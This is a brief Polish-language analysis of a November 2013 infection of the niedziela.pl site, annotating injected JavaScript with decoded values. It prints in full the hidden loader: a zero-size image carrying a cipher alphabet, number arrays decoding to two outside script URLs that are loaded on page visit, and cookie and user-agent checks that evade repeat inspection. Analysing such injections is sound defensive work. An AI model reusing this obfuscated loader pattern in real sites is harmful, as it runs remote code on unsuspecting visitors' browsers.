Szybka analiza infekcji niedziela.pl z 7 ‎listopada ‎2013

//@[http://niedziela.pl] HTML:

<img id="beacon_73ef615c52" width="0" height="0" alt="" style="width: 0px; height: 0px;" data-image="oV]F?zd&gt;^O0$5rL&quot;E,)3T&lt;:#}N%u&amp;/{HXUSWps+ixt@bm~qGh7AvCQ;1-Jc*kZIgl!fnyw9DP6Rj2e[(aYB8._=KM4">

//@[http://niedziela.pl] JS/body:

function cc(ccn) { //"niedziela.pl"
    var c = d['cookie']; //"isMobile=0; showMobile=0; PHPSESSID=87iQQgiUbpmcOOq4O6wq-3; OAID=71cde3f523de987faf5bb0717bd00213"
    return c.search(ccn.split('').reverse().join('')) < 0; //true
}

function ch() {
    var p = document.location.host; //"niedziela.pl"
    return p; //"niedziela.pl"
}

function fg() {
    return as([47, 27, 78, 37, 41, 67, 0, 13, 70, 0, 13, 65, 6, 85, 59, 0, 45, 29, 45, 78, 6, 39, 81, 29, 37, 59, 13, 39, 36, 41, 85, 76, 37]); //"questforworld.com/media/script.js"
}

var d = document; //dokument html
if (cc(ch())) { //true
    var ge = d.createElement('script'); //"<script></script>""
    ge.src = document.location.protocol + '//' + fg(); //"http://questforworld.com/media/script.js"
    d.head.appendChild(ge); //"<script src="http://questforworld.com/media/script.js"></script>""
} else {}

function as(l) { //[47, 27, 78, 37, 41, 67, 0, 13, 70, 0, 13, 65, 6, 85, 59, 0, 45, 29, 45, 78, 6, 39, 81, 29, 37, 59, 13, 39, 36, 41, 85, 76, 37]
    var g = g1().split(''), //["o", "V", "]", "F", "?", "z", "d", ">", "^", "O", "0", "$", "5", "r", "L", """, "E", ",", ")", "3", "T", "<", ":", "#", "}", "N", "%", "u", "&", "/", "{", "H", "X", "U", "S", "W", "p", "s", "+", "i", "x", "t", "`", "@", "b", "m", "~", "q", "G", "h", "7", "A", "v", "C", "Q", ";", "1", "-", "J", "c", "*", "k", "Z", "I", "g", "l", "!", "f", "n", "y", "w", "9", "D", "P", "6", "R", "j", "2", "e", "[", "(", "a", "Y", "B", "8", ".", "_", "=", "K", "M", "4"]
        t = new String(); //""
    for (var al in l) {
        t += g[l[al]];
    }
    return t; //"questforworld.com/media/script.js"
}

function g1() {
    return document.getElementById('beacon_73ef615c52').getAttribute('data-image'); //"oV]F?zd>^O0$5rL"E,)3T<:#}N%u&/{HXUSWps+ixt`@bm~qGh7AvCQ;1-Jc*kZIgl!fnyw9DP6Rj2e[(aYB8._=KM4"
}




//@[http://questforworld.com/media/script.js]:

var gi = window.g1 || gl; //"oV]F?zd>^O0$5rL"E,)3T<:#}N%u&/{HXUSWps+ixt`@bm~qGh7AvCQ;1-Jc*kZIgl!fnyw9DP6Rj2e[(aYB8._=KM4"

function ua() {
    return /safari|linux|mac|mini|android|nokia|mobile/.test(navigator.userAgent.toLowerCase()); //true #dla chrome
}

function cm(nm, ti) {
    document.cookie = nm + '=1;path=/;max-age=' + ti;
}

function cl() {
    var p = document.location.host; //"niedziela.pl"
    return p.split('').reverse().join(''); //"lp.aleizdein"
}

function cnr() {
    var p = document.location.host; //"niedziela.pl"
    return p.split(/^a-z0-9/).join(''); //"niedziela.pl"
}

function gl() {
    return '(MV>`O!BwnA,Xs]Py1c&=Q5Er^<uZ/"2oDmtpdxzajKq_IgJH@4UC?*L;e7vh[i0N.-b~FlST8}k:G)9{YRW$f%36+#';
}

function fh() {
    return az([59, 0, 0, 65, 85, 13, 0, 59, 61, 39, 37, 36, 81, 37, 37, 39, 0, 68, 85, 59, 0, 45, 29, 76, 37, 29, 37, 59, 13, 39, 36, 41, 85, 76, 37]); //"cool.rockispassion.com/js/script.js"
    //zmodyfikowany później na [70,17,70,70,6,51,15,65,76,18,8,62,85,17,62,62,8,65,9,51,76,65,57,0,86,62,0,62,76,15,8,85,47,51,86,62]
}

function az(tt) {
    var g = gi().split(''), //["o", "V", "]", "F", "?", "z", "d", ">", "^", "O", "0", "$", "5", "r", "L", """, "E", ",", ")", "3", "T", "<", ":", "#", "}", "N", "%", "u", "&", "/", "{", "H", "X", "U", "S", "W", "p", "s", "+", "i", "x", "t", "`", "@", "b", "m", "~", "q", "G", "h", "7", "A", "v", "C", "Q", ";", "1", "-", "J", "c", "*", "k", "Z", "I", "g", "l", "!", "f", "n", "y", "w", "9", "D", "P", "6", "R", "j", "2", "e", "[", "(", "a", "Y", "B", "8", ".", "_", "=", "K", "M", "4"]
        tl = new String(); //""
    for (var ab in tt) {
        tl += g[tt[ab]];
    }
    return tl; //"cool.rockispassion.com/js/script.js"
}

function cct() {
    return document.cookie.search(cnr()) > -1; //false
}
if (!cct()) { //true #drugie wywołanie strony: false
    cm(cnr(), 9999999); //"niedziela.pl=1;path=/;max-age=9999999"
    cm(cl(), 100); //"lp.aleizdein=1;path=/;max-age=100"
} else {
    if (!ua()) {
        var fm = d.createElement(az([37, 59, 13, 39, 36, 41])); //<script></script>
        //zmodyfikowany później na 62,76,15,8,85,47
        fm.async = 1; //<script async></script> #http://davidwalsh.name/html5-async
        fm.src = document.location.protocol + '//' + fh(); //<script async src="http://cool.rockispassion.com/js/script.js"></script>
        d.body.appendChild(fm);
        cm(cl(), 432000); //"lp.aleizdein=1;path=/;max-age=432000"
    } else {}
}

//@[http://cool.rockispassion.com/js/script.js]: ??